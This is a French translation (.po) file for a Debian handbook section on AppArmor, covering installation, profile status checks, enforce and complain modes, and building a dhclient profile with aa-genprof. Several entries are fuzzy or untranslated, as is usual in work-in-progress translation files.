msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges."
msgstr "Le support d'AppArmor est intégré aux noyaux standards fournis par Debian. Pour activer AppArmor, il suffira donc d'installer quelques paquets et d'ajouter quelques paramètres à la ligne de commande du noyau :"
#, fuzzy
#| msgid "After a reboot, AppArmor is now functional and <command>aa-status</command> will confirm it quickly:"
msgid "AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:"
msgstr "Après un redémarrage, AppArmor sera opérationnel, ce que confirmera <command>aa-status</command> :"
#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
#| "<computeroutput>apparmor module is loaded.\n"
#| "44 profiles are loaded.\n"
#| "9 profiles are in enforce mode.\n"
#| " /usr/bin/lxc-start\n"
#| " /usr/lib/chromium-browser/chromium-browser//browser_java\n"
#| "[...]\n"
#| "35 profiles are in complain mode.\n"
#| " /sbin/klogd\n"
#| "[...]\n"
#| "3 processes have profiles defined.\n"
#| "1 processes are in enforce mode.\n"
#| " /usr/sbin/libvirtd (1295) \n"
#| "2 processes are in complain mode.\n"
#| " /usr/sbin/avahi-daemon (941) \n"
#| " /usr/sbin/avahi-daemon (1000) \n"
#| "0 processes are unconfined but have a profile defined.</computeroutput>"
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
"<computeroutput>apparmor module is loaded.\n"
"40 profiles are loaded.\n"
"23 profiles are in enforce mode.\n"
" /usr/bin/evince\n"
" /usr/bin/evince-previewer\n"
"[...]\n"
"17 profiles are in complain mode.\n"
" /usr/sbin/dnsmasq\n"
"[...]\n"
"14 processes have profiles defined.\n"
"12 processes are in enforce mode.\n"
" /usr/bin/evince (3462)\n"
"[...]\n"
"2 processes are in complain mode.\n"
" /usr/sbin/avahi-daemon (429) avahi-daemon\n"
" /usr/sbin/avahi-daemon (511) avahi-daemon\n"
"0 processes are unconfined but have a profile defined.</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-status</userinput>\n"
"<computeroutput>apparmor module is loaded.\n"
"44 profiles are loaded.\n"
"9 profiles are in enforce mode.\n"
" /usr/bin/lxc-start\n"
" /usr/lib/chromium-browser/chromium-browser//browser_java\n"
"[...]\n"
"35 profiles are in complain mode.\n"
" /sbin/klogd\n"
"[...]\n"
"3 processes have profiles defined.\n"
"1 processes are in enforce mode.\n"
" /usr/sbin/libvirtd (1295) \n"
"2 processes are in complain mode.\n"
" /usr/sbin/avahi-daemon (941) \n"
" /usr/sbin/avahi-daemon (1000) \n"
"0 processes are unconfined but have a profile defined.</computeroutput>"
msgid "<emphasis>NOTE</emphasis> More AppArmor profiles"
msgstr "<emphasis>NOTE</emphasis> Autres profils AppArmor"
msgid "The <emphasis role=\"pkg\">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role=\"pkg\">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian."
msgstr "Le paquet <emphasis role=\"pkg\">apparmor-profiles</emphasis> contient des profils développés par la communauté amont d'AppArmor. Pour en obtenir d'autres encore, il est possible d'installer <emphasis role=\"pkg\">apparmor-profiles-extra</emphasis>, qui contient des profils développés par Ubuntu et Debian."
#, fuzzy
#| msgid "The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionaly a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>."
msgid "The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>."
msgstr "Le statut de chaque profil peut être basculé entre les modes strict et relâché, avec les commandes <command>aa-enforce</command> et <command>aa-complain</command>, en leur passant en paramètre soit le chemin de l'exécutable concerné, soit le chemin du fichier de profil. Il est également possible de désactiver complètement un profil avec <command>aa-disable</command>, ou de le basculer en mode audit (de sorte qu'il enregistre dans les journaux même les appels système acceptés) avec <command>aa-audit</command>."
#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-enforce /usr/sbin/avahi-daemon</userinput>\n"
#| "<computeroutput>Setting /usr/sbin/avahi-daemon to enforce mode.</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>aa-complain /etc/apparmor.d/usr.bin.lxc-start</userinput>\n"
#| "<computeroutput>Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.</computeroutput>\n"
#| " "
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-enforce /usr/bin/pidgin</userinput>\n"
"<computeroutput>Setting /usr/bin/pidgin to enforce mode.</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>aa-complain /usr/sbin/dnsmasq</userinput>\n"
"<computeroutput>Setting /usr/sbin/dnsmasq to complain mode.</computeroutput>\n"
" "
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-enforce /usr/sbin/avahi-daemon</userinput>\n"
"<computeroutput>Setting /usr/sbin/avahi-daemon to enforce mode.</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>aa-complain /etc/apparmor.d/usr.bin.lxc-start</userinput>\n"
"<computeroutput>Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.</computeroutput>\n"
" "
msgid "Creating a new profile"
msgstr "Créer un nouveau profil"
msgid "Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses."
msgstr "Bien qu'il soit assez simple de créer un profil AppArmor, peu de programmes en fournissent un. Cette section montre comment créer un nouveau profil depuis zéro, simplement en utilisant le programme visé et en indiquant à AppArmor de surveiller les appels système qu'il passe et les ressources qu'il utilise."
msgid "The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection."
msgstr "Les programmes qui devront être confinés en priorité sont ceux qui font face au réseau, car ce sont eux qui seront les cibles les plus alléchantes pour des attaquants distants. C'est précisément dans ce but qu'AppArmor fournit une commande <command>aa-unconfined</command>, qui liste les programmes qui, sans avoir de profil associé, exposent quand même un port de communication. L'option <literal>--paranoid</literal> liste même tous les processus non confinés qui ont au moins une connexion réseau ouverte."
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
"<computeroutput>801 /sbin/dhclient not confined\n"
"409 /usr/sbin/NetworkManager not confined\n"
"411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'\n"
"429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'\n"
"516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'\n"
"538 /usr/sbin/zebra not confined\n"
"591 /usr/sbin/named not confined\n"
"847 /usr/sbin/mysqld not confined\n"
"849 /usr/sbin/sshd not confined\n"
"1013 /usr/sbin/dhclient (/sbin/dhclient) not confined\n"
"1276 /usr/sbin/apache2 not confined\n"
"1322 /usr/sbin/apache2 not confined\n"
"1323 /usr/sbin/apache2 not confined\n"
"1324 /usr/sbin/apache2 not confined\n"
"1325 /usr/sbin/apache2 not confined\n"
"1327 /usr/sbin/apache2 not confined\n"
"1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'\n"
"2132 /usr/sbin/exim4 not confined\n"
"12865 /usr/bin/python3.7 (/usr/bin/python3) not confined\n"
"12873 /usr/bin/python3.7 (/usr/bin/python3) not confined</computeroutput>\n"
" "
msgstr ""
#, fuzzy
#| msgid "In the following example, we will thus try to create a profile for <command>/sbin/dhclient</command>. For this we will use <command>aa-genprof dhclient</command>. It will invite you to use the application in another window and when done to come back to <command>aa-genprof</command> to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgid "In the following example, we will thus try to create a profile for <command>/sbin/dhclient</command>. For this we will use <command>aa-genprof dhclient</command>. In Debian <emphasis role=\"distribution\">Buster</emphasis> there is a known bug<footnote><para><ulink url=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928160\" /></para></footnote> that makes the previous command fail with the following error: <computeroutput>ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found</computeroutput>. To fix it create the missing files with <command>touch <replaceable>file</replaceable></command>. It will invite you to use the application in another window and when done to come back to <command>aa-genprof</command> to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:"
msgstr "Dans l'exemple suivant, nous allons nous atteler à créer un profil pour <command>/sbin/dhclient</command>. Nous allons pour cela utiliser la commande <command>aa-genprof dhclient</command>, qui nous invite à utiliser l'application (dans une autre fenêtre) et à revenir à <command>aa-genprof</command> une fois que c'est fait, pour scruter les journaux à la recherche d'événements AppArmor et convertir ces journaux en règles de contrôle d'accès. Pour chaque événement enregistré, une ou plusieurs suggestions de règles seront proposées, et il sera possible de les approuver telles quelles ou de les modifier de diverses manières :"
#, fuzzy
#| msgid ""
#| "\n"
#| "<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
#| "<computeroutput>Writing updated profile for /sbin/dhclient.\n"
#| "Setting /sbin/dhclient to complain mode.\n"
#| "\n"
#| "Before you begin, you may wish to check if a\n"
#| "profile already exists for the application you\n"
#| "wish to confine. See the following wiki page for\n"
#| "more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Please start the application to be profiled in\n"
#| "another window and exercise its functionality now.\n"
#| "\n"
#| "Once completed, select the \"Scan\" option below in \n"
#| "order to scan the system logs for AppArmor events. \n"
#| "\n"
#| "For each AppArmor event, you will be given the \n"
#| "opportunity to choose whether the access should be \n"
#| "allowed or denied.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "Reading log entries from /var/log/audit/audit.log.\n"
#| "\n"
#| "Profile: /sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
#| "Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n"
#| "Severity: unknown\n"
#| "\n"
#| "(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
#| "<userinput>P</userinput>\n"
#| "Should AppArmor sanitise the environment when\n"
#| "switching profiles?\n"
#| "\n"
#| "Sanitising environment is more secure,\n"
#| "but some applications depend on the presence\n"
#| "of LD_PRELOAD or LD_LIBRARY_PATH.\n"
#| "\n"
#| "(Y)es / [(N)o]\n"
#| "<userinput>Y</userinput>\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "Complain-mode changes:\n"
#| "WARN: unknown capability: CAP_net_raw\n"
#| "\n"
#| "Profile: /sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
#| "Capability: net_raw\n"
#| "Severity: unknown\n"
#| "\n"
#| "[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
#| "<userinput>A</userinput>\n"
#| "Adding capability net_raw to profile.\n"
#| "\n"
#| "Profile: /sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
#| "Path: /etc/nsswitch.conf\n"
#| "Mode: r\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - #include <abstractions/apache2-common> \n"
#| " 2 - #include <abstractions/libvirt-qemu> \n"
#| " 3 - #include <abstractions/nameservice> \n"
#| " 4 - #include <abstractions/totem> \n"
#| " [5 - /etc/nsswitch.conf]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>3</userinput>\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /etc/nsswitch.conf\n"
#| "Mode: r\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - #include <abstractions/apache2-common> \n"
#| " 2 - #include <abstractions/libvirt-qemu> \n"
#| " [3 - #include <abstractions/nameservice>]\n"
#| " 4 - #include <abstractions/totem> \n"
#| " 5 - /etc/nsswitch.conf \n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding #include <abstractions/nameservice> to profile.\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /proc/7252/net/dev\n"
#| "Mode: r\n"
#| "Severity: 6\n"
#| "\n"
#| " 1 - /proc/7252/net/dev \n"
#| " [2 - /proc/*/net/dev]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /proc/*/net/dev r to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile: /sbin/dhclient <co id=\"aa-genprof-write\"></co>\n"
#| "Path: /run/dhclient-eth0.pid\n"
#| "Mode: w\n"
#| "Severity: unknown\n"
#| "\n"
#| " [1 - /run/dhclient-eth0.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>N</userinput>\n"
#| "\n"
#| "Enter new path: /run/dhclient*.pid\n"
#| "\n"
#| "Profile: /sbin/dhclient\n"
#| "Path: /run/dhclient-eth0.pid\n"
#| "Mode: w\n"
#| "Severity: unknown\n"
#| "\n"
#| " 1 - /run/dhclient-eth0.pid \n"
#| " [2 - /run/dhclient*.pid]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /run/dhclient*.pid w to profile\n"
#| "\n"
#| "[...]\n"
#| "Profile: /usr/lib/NetworkManager/nm-dhcp-helper <co id=\"aa-genprof-other-profile\"></co>\n"
#| "Path: /proc/filesystems\n"
#| "Mode: r\n"
#| "Severity: 6\n"
#| "\n"
#| " [1 - /proc/filesystems]\n"
#| "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
#| "<userinput>A</userinput>\n"
#| "Adding /proc/filesystems r to profile\n"
#| "\n"
#| "= Changed Local Profiles =\n"
#| "\n"
#| "The following local profiles were changed. Would you like to save them?\n"
#| "\n"
#| " [1 - /sbin/dhclient]\n"
#| " 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
#| "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
#| "<userinput>S</userinput>\n"
#| "Writing updated profile for /sbin/dhclient.\n"
#| "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
#| "\n"
#| "Profiling: /sbin/dhclient\n"
#| "\n"
#| "[(S)can system log for AppArmor events] / (F)inish\n"
#| "<userinput>F</userinput>\n"
#| "Setting /sbin/dhclient to enforce mode.\n"
#| "Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
#| "\n"
#| "Reloaded AppArmor profiles in enforce mode.\n"
#| "\n"
#| "Please consider contributing your new profile!\n"
#| "See the following wiki page for more information:\n"
#| "http://wiki.apparmor.net/index.php/Profiles\n"
#| "\n"
#| "Finished generating profile for /sbin/dhclient.</computeroutput>"
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
"<computeroutput>Writing updated profile for /usr/sbin/dhclient.\n"
"Setting /usr/sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/syslog.\n"
"Updating AppArmor profiles in /etc/apparmor.d.\n"
"\n"
"Profile: /usr/sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
"Execute: /usr/sbin/dhclient-script\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"<userinput>P</userinput>\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"<userinput>Y</userinput>\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"Complain-mode changes:\n"
"\n"
"Profile: /usr/sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
"Capability: net_raw\n"
"Severity: 8\n"
"\n"
" [1 - capability net_raw,]\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile: /sbin/dhclient\n"
"Capability: net_bind_service\n"
"Severity: 8\n"
"\n"
" [1 - #include <abstractions/nis> ]\n"
" 2 - capability net_bind_service,\n"
"(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding #include <abstractions/nis> to profile.\n"
"\n"
"Profile: /usr/sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" [1 - #include <abstractions/lightdm>]\n"
" 2 - #include <abstractions/openssl>\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"<userinput>2</userinput>\n"
"\n"
"Profile: /usr/sbin/dhclient\n"
"Path: /etc/ssl/openssl.cnf\n"
"New Mode: owner r\n"
"Severity: 2\n"
"\n"
" 1 - #include <abstractions/lightdm>\n"
" [2 - #include <abstractions/openssl>]\n"
" 3 - #include <abstractions/ssl_keys>\n"
" 4 - owner /etc/ssl/openssl.cnf r,\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"[...]\n"
"Profile: /usr/sbin/dhclient-script <co id=\"aa-genprof-other-profile\"></co>\n"
"Path: /usr/bin/dash\n"
"New Mode: owner r\n"
"Severity: unknown\n"
"\n"
" [1 - #include <abstractions/lightdm>]\n"
" 2 - #include <abstractions/ubuntu-browsers.d/plugins-common>\n"
" 3 - owner /usr/bin/dash r,\n"
"(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding #include <abstractions/lightdm> to profile.\n"
"Deleted 2 previous matching profile entries.\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /usr/sbin/dhclient]\n"
" 2 - /usr/sbin/dhclient-script\n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"<userinput>S</userinput>\n"
"Writing updated profile for /usr/sbin/dhclient.\n"
"Writing updated profile for /usr/sbin/dhclient-script.\n"
"\n"
"Profiling: /usr/sbin/dhclient\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in\n"
"order to scan the system logs for AppArmor events.\n"
"\n"
"For each AppArmor event, you will be given the\n"
"opportunity to choose whether the access should be\n"
"allowed or denied.\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"<userinput>F</userinput>\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"https://gitlab.com/apparmor/apparmor/wikis/Profiles\n"
"\n"
"Finished generating profile for /usr/sbin/dhclient.</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>aa-genprof dhclient</userinput>\n"
"<computeroutput>Writing updated profile for /sbin/dhclient.\n"
"Setting /sbin/dhclient to complain mode.\n"
"\n"
"Before you begin, you may wish to check if a\n"
"profile already exists for the application you\n"
"wish to confine. See the following wiki page for\n"
"more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Please start the application to be profiled in\n"
"another window and exercise its functionality now.\n"
"\n"
"Once completed, select the \"Scan\" option below in \n"
"order to scan the system logs for AppArmor events. \n"
"\n"
"For each AppArmor event, you will be given the \n"
"opportunity to choose whether the access should be \n"
"allowed or denied.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"Reading log entries from /var/log/audit/audit.log.\n"
"\n"
"Profile: /sbin/dhclient <co id=\"aa-genprof-execute\"></co>\n"
"Execute: /usr/lib/NetworkManager/nm-dhcp-helper\n"
"Severity: unknown\n"
"\n"
"(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish\n"
"<userinput>P</userinput>\n"
"Should AppArmor sanitise the environment when\n"
"switching profiles?\n"
"\n"
"Sanitising environment is more secure,\n"
"but some applications depend on the presence\n"
"of LD_PRELOAD or LD_LIBRARY_PATH.\n"
"\n"
"(Y)es / [(N)o]\n"
"<userinput>Y</userinput>\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"Complain-mode changes:\n"
"WARN: unknown capability: CAP_net_raw\n"
"\n"
"Profile: /sbin/dhclient <co id=\"aa-genprof-capability\"></co>\n"
"Capability: net_raw\n"
"Severity: unknown\n"
"\n"
"[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish\n"
"<userinput>A</userinput>\n"
"Adding capability net_raw to profile.\n"
"\n"
"Profile: /sbin/dhclient <co id=\"aa-genprof-read\"></co>\n"
"Path: /etc/nsswitch.conf\n"
"Mode: r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/apache2-common> \n"
" 2 - #include <abstractions/libvirt-qemu> \n"
" 3 - #include <abstractions/nameservice> \n"
" 4 - #include <abstractions/totem> \n"
" [5 - /etc/nsswitch.conf]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>3</userinput>\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /etc/nsswitch.conf\n"
"Mode: r\n"
"Severity: unknown\n"
"\n"
" 1 - #include <abstractions/apache2-common> \n"
" 2 - #include <abstractions/libvirt-qemu> \n"
" [3 - #include <abstractions/nameservice>]\n"
" 4 - #include <abstractions/totem> \n"
" 5 - /etc/nsswitch.conf \n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding #include <abstractions/nameservice> to profile.\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /proc/7252/net/dev\n"
"Mode: r\n"
"Severity: 6\n"
"\n"
" 1 - /proc/7252/net/dev \n"
" [2 - /proc/*/net/dev]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/*/net/dev r to profile\n"
"\n"
"[...]\n"
"Profile: /sbin/dhclient <co id=\"aa-genprof-write\"></co>\n"
"Path: /run/dhclient-eth0.pid\n"
"Mode: w\n"
"Severity: unknown\n"
"\n"
" [1 - /run/dhclient-eth0.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>N</userinput>\n"
"\n"
"Enter new path: /run/dhclient*.pid\n"
"\n"
"Profile: /sbin/dhclient\n"
"Path: /run/dhclient-eth0.pid\n"
"Mode: w\n"
"Severity: unknown\n"
"\n"
" 1 - /run/dhclient-eth0.pid \n"
" [2 - /run/dhclient*.pid]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /run/dhclient*.pid w to profile\n"
"\n"
"[...]\n"
"Profile: /usr/lib/NetworkManager/nm-dhcp-helper <co id=\"aa-genprof-other-profile\"></co>\n"
"Path: /proc/filesystems\n"
"Mode: r\n"
"Severity: 6\n"
"\n"
" [1 - /proc/filesystems]\n"
"[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n"
"<userinput>A</userinput>\n"
"Adding /proc/filesystems r to profile\n"
"\n"
"= Changed Local Profiles =\n"
"\n"
"The following local profiles were changed. Would you like to save them?\n"
"\n"
" [1 - /sbin/dhclient]\n"
" 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n"
"(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n"
"<userinput>S</userinput>\n"
"Writing updated profile for /sbin/dhclient.\n"
"Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n"
"\n"
"Profiling: /sbin/dhclient\n"
"\n"
"[(S)can system log for AppArmor events] / (F)inish\n"
"<userinput>F</userinput>\n"
"Setting /sbin/dhclient to enforce mode.\n"
"Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n"
"\n"
"Reloaded AppArmor profiles in enforce mode.\n"
"\n"
"Please consider contributing your new profile!\n"
"See the following wiki page for more information:\n"
"http://wiki.apparmor.net/index.php/Profiles\n"
"\n"
"Finished generating profile for /sbin/dhclient.</computeroutput>"
msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript."
msgstr "Il faut noter que le programme n'affiche pas les caractères de contrôle tapés ; nous les avons inclus dans la transcription ci-dessus pour clarifier les choses."
msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)."
msgstr "Le premier événement détecté est l'exécution d'un autre programme. Dans ce cas, plusieurs choix s'offrent à nous : on peut soit lancer le programme avec le profil du programme parent <foreignphrase>(Inherit)</foreignphrase>, soit le lancer avec un profil dédié (<foreignphrase>Profile</foreignphrase> et <foreignphrase>Name</foreignphrase>, qui ne diffèrent que par la possibilité de choisir un nom de profil arbitraire), soit le lancer avec un sous-profil du processus parent <foreignphrase>(Child)</foreignphrase>, soit le lancer sans aucun profil <foreignphrase>(Unconfined)</foreignphrase>, soit ne pas le lancer du tout <foreignphrase>(Deny)</foreignphrase>."
msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run."
msgstr "À noter que lorsque l'on choisit de lancer le processus fils selon un profil dédié mais qui n'existe pas encore, l'outil va créer le profil manquant, et proposer des suggestions de règles par la même occasion."
msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability."
msgstr "Au niveau du noyau, les pouvoirs spéciaux de l'utilisateur root ont été séparés en « capacités ». Lorsqu'un appel système a besoin d'une capacité spécifique, AppArmor va vérifier que le profil permet au programme d'utiliser cette capacité."
#, fuzzy
#| msgid "Here the program seeks read permissions for <filename>/etc/nsswitch.conf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “3” to first select the “#include <abstractions/nameservice>” choice and then “A” to allow it."
msgid "Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it."
